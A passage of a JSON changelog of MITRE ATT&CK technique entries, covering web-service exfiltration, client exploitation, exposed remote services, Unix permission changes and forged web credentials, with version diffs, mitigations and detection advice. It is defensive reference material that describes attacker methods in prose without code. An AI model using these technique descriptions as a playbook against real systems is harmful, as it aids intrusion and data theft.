}, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0016: Drive (Drive Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-09 12:51:45.570000+00:00", "modified": "2021-10-15 22:50:29.607000+00:00", "name": "Exfiltration Over Web Service", "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "exfiltration" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1567", "external_id": "T1567" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "William Cain" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "File: File Access", "Command: Command Execution" ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", "x_mitre_is_subtechnique": false, "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"William Cain\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:50:29.607000+00:00\", \"old_value\": \"2020-03-28 01:02:24.276000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1021: Restrict Web-Based Content" ], "new": [ "M1057: Data Loss Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-10-15 19:01:34.932000+00:00", "name": "Exploitation for Client Execution", "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1203", "external_id": "T1203" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "Windows", "macOS" ], "x_mitre_remote_support": false, "x_mitre_system_requirements": [ "Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise." ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 19:01:34.932000+00:00\", \"old_value\": \"2020-03-28 19:06:02.690000+00:00\"}, \"root['x_mitre_remote_support']\": {\"new_value\": false, \"old_value\": true}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1048: Application Isolation and Sandboxing", "M1050: Exploit Protection", "T1203: Exploitation for Client Execution Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:44.421000+00:00", "modified": "2021-08-19 16:57:27.209000+00:00", "name": "External Remote Services", "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1133", "external_id": "T1133" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/555.html", "external_id": "CAPEC-555" }, { "source_name": "MacOS VNC software for Remote Desktop", "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.", "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac" }, { "source_name": "Volexity Virtual Private Keylogging", "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" }, { "source_name": "Trend Micro Exposed Docker Server", "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.", "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html" }, { "source_name": "Unit 42 Hildegard Malware", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "ExtraHop", "David Fiser, @anu4is, Trend Micro", "Alfredo Oliveira, Trend Micro", "Idan Frimark, Cisco", "Rory McCune, Aqua Security", "Yuval Avrahami, Palo Alto Networks", "Jay Chen, Palo Alto Networks", "Brad Geesaman, @bradgeesaman", "Magno Logan, @magnologan, Trend Micro", "Ariel Shuper, Cisco", "Yossi Weizman, Azure Defender Research Team", "Vishwas Manral, McAfee", "Daniel Oakley", "Travis Smith, Tripwire" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Logon Session: Logon Session Metadata", "Network Traffic: Network Traffic Flow" ], "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Linux", "Containers", "macOS" ], "x_mitre_version": "2.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-19 16:57:27.209000+00:00\", \"old_value\": \"2021-04-22 20:22:02.443000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\\n\\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\\n\\nAccess may also be gained through an exposed service that doesn\\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\", \"old_value\": \"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.\\n\\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\\n\\nAccess may also be gained through an exposed service that doesn\\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.\\n+Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\\n \\n Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\\n \"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"MacOS VNC software for Remote Desktop\", \"old_value\": \"Volexity Virtual Private Keylogging\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.\", \"old_value\": \"Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac\", \"old_value\": \"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Volexity Virtual Private Keylogging\", \"old_value\": \"Trend Micro Exposed Docker Server\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.\", \"old_value\": \"Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/\", \"old_value\": \"https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"Trend Micro Exposed Docker Server\", \"old_value\": \"Unit 42 Hildegard Malware\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.\", \"old_value\": \"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html\", \"old_value\": \"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"Unit 42 Hildegard Malware\", \"description\": \"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.\", \"url\": \"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/\"}, \"root['x_mitre_platforms'][3]\": \"macOS\"}}", "previous_version": "2.2", "version_change": "2.2 \u2192 2.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage external-facing remote services to t1Adversaries may leverage external-facing remote services to 
>initially access and/or persist within a network. Remote ser>initially access and/or persist within a network. Remote ser
>vices such as VPNs, Citrix, and other access mechanisms allo>vices such as VPNs, Citrix, and other access mechanisms allo
>w users to connect to internal enterprise network resources >w users to connect to internal enterprise network resources 
>from external locations. There are often remote service gate>from external locations. There are often remote service gate
>ways that manage connections and credential authentication f>ways that manage connections and credential authentication f
>or these services. Services such as [Windows Remote Manageme>or these services. Services such as [Windows Remote Manageme
>nt](https://attack.mitre.org/techniques/T1021/006) can also >nt](https://attack.mitre.org/techniques/T1021/006) and [VNC]
>be used externally.  Access to [Valid Accounts](https://atta>(https://attack.mitre.org/techniques/T1021/005) can also be 
>ck.mitre.org/techniques/T1078) to use the service is often a>used externally.(Citation: MacOS VNC software for Remote Des
> requirement, which could be obtained through credential pha>ktop)  Access to [Valid Accounts](https://attack.mitre.org/t
>rming or by obtaining the credentials from users after compr>echniques/T1078) to use the service is often a requirement, 
>omising the enterprise network.(Citation: Volexity Virtual P>which could be obtained through credential pharming or by ob
>rivate Keylogging) Access to remote services may be used as >taining the credentials from users after compromising the en
>a redundant or persistent access mechanism during an operati>terprise network.(Citation: Volexity Virtual Private Keylogg
>on.  Access may also be gained through an exposed service th>ing) Access to remote services may be used as a redundant or
>at doesn\u2019t require authentication. In containerized environm> persistent access mechanism during an operation.  Access ma
>ents, this may include an exposed Docker API, Kubernetes API>y also be gained through an exposed service that doesn\u2019t req
> server, kubelet, or web application such as the Kubernetes >uire authentication. In containerized environments, this may
>dashboard.(Citation: Trend Micro Exposed Docker Server)(Cita> include an exposed Docker API, Kubernetes API server, kubel
>tion: Unit 42 Hildegard Malware)>et, or web application such as the Kubernetes dashboard.(Cit
 >ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 
 >Hildegard Malware)
", "changelog_mitigations": { "shared": [ "M1030: Network Segmentation", "M1032: Multi-factor Authentication", "M1035: Limit Access to Resource Over Network", "M1042: Disable or Remove Feature or Program", "T1133: External Remote Services Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)", "DS0028: Logon Session (Logon Session Metadata)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-04 19:24:27.774000+00:00", "modified": "2021-09-13 21:08:09.985000+00:00", "name": "Linux and Mac File and Directory Permissions Modification", "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1222/002", "external_id": "T1222.002" }, { "source_name": "Hybrid Analysis Icacls1 June 2018", "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100" }, { "source_name": "Hybrid Analysis Icacls2 May 2018", "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" }, { "source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "File: File Metadata" ], "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "root" ], "x_mitre_platforms": [ "macOS", "Linux" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-13 21:08:09.985000+00:00\", \"old_value\": \"2020-03-29 23:12:40.041000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\\n\\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\\n\\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) \", \"old_value\": \"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\\n\\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\\n\\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\\n \\n-Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\\n+Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) \"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \\n\\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.\", \"old_value\": \"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n\\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n+Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \\n \\n Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"20 macOS Common Tools and Techniques\", \"description\": \"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.\", \"url\": \"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may modify file or directory permissions/attribut1Adversaries may modify file or directory permissions/attribu
>tes to evade access control lists (ACLs) and access protecte>tes to evade access control lists (ACLs) and access protecte
>d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati>d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati
>on: Hybrid Analysis Icacls2 May 2018) File and directory per>on: Hybrid Analysis Icacls2 May 2018) File and directory per
>missions are commonly managed by ACLs configured by the file>missions are commonly managed by ACLs configured by the file
> or directory owner, or users with the appropriate permissio> or directory owner, or users with the appropriate permissio
>ns. File and directory ACL implementations vary by platform,>ns. File and directory ACL implementations vary by platform,
> but generally explicitly designate which users or groups ca> but generally explicitly designate which users or groups ca
>n perform which actions (read, write, execute, etc.).  Most >n perform which actions (read, write, execute, etc.).  Most 
>Linux and Linux-based platforms provide a standard set of pe>Linux and Linux-based platforms provide a standard set of pe
>rmission groups (user, group, and other) and a standard set >rmission groups (user, group, and other) and a standard set 
>of permissions (read, write, and execute) that are applied t>of permissions (read, write, and execute) that are applied t
>o each group. While nuances of each platform\u2019s permissions i>o each group. While nuances of each platform\u2019s permissions i
>mplementation may vary, most of the platforms provide two pr>mplementation may vary, most of the platforms provide two pr
>imary commands used to manipulate file and directory ACLs: <>imary commands used to manipulate file and directory ACLs: <
>code>chown</code> (short for change owner), and <code>chmod<>code>chown</code> (short for change owner), and <code>chmod<
>/code> (short for change mode).  Adversarial may use these c>/code> (short for change mode).  Adversarial may use these c
>ommands to make themselves the owner of files and directorie>ommands to make themselves the owner of files and directorie
>s or change the mode if current permissions allow it. They c>s or change the mode if current permissions allow it. They c
>ould subsequently lock others out of the file. Specific file>ould subsequently lock others out of the file. Specific file
> and directory modifications may be a required step for many> and directory modifications may be a required step for many
> techniques, such as establishing Persistence via [Unix Shel> techniques, such as establishing Persistence via [Unix Shel
>l Configuration Modification](https://attack.mitre.org/techn>l Configuration Modification](https://attack.mitre.org/techn
>iques/T1546/004) or tainting/hijacking other instrumental bi>iques/T1546/004) or tainting/hijacking other instrumental bi
>nary/configuration files via [Hijack Execution Flow](https:/>nary/configuration files via [Hijack Execution Flow](https:/
>/attack.mitre.org/techniques/T1574).>/attack.mitre.org/techniques/T1574).(Citation: 20 macOS Comm
 >on Tools and Techniques) 
", "changelog_mitigations": { "shared": [ "M1022: Restrict File and Directory Permissions", "M1026: Privileged Account Management" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-12-17 02:13:46.247000+00:00", "modified": "2021-10-12 14:26:52.179000+00:00", "name": "Forge Web Credentials", "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), 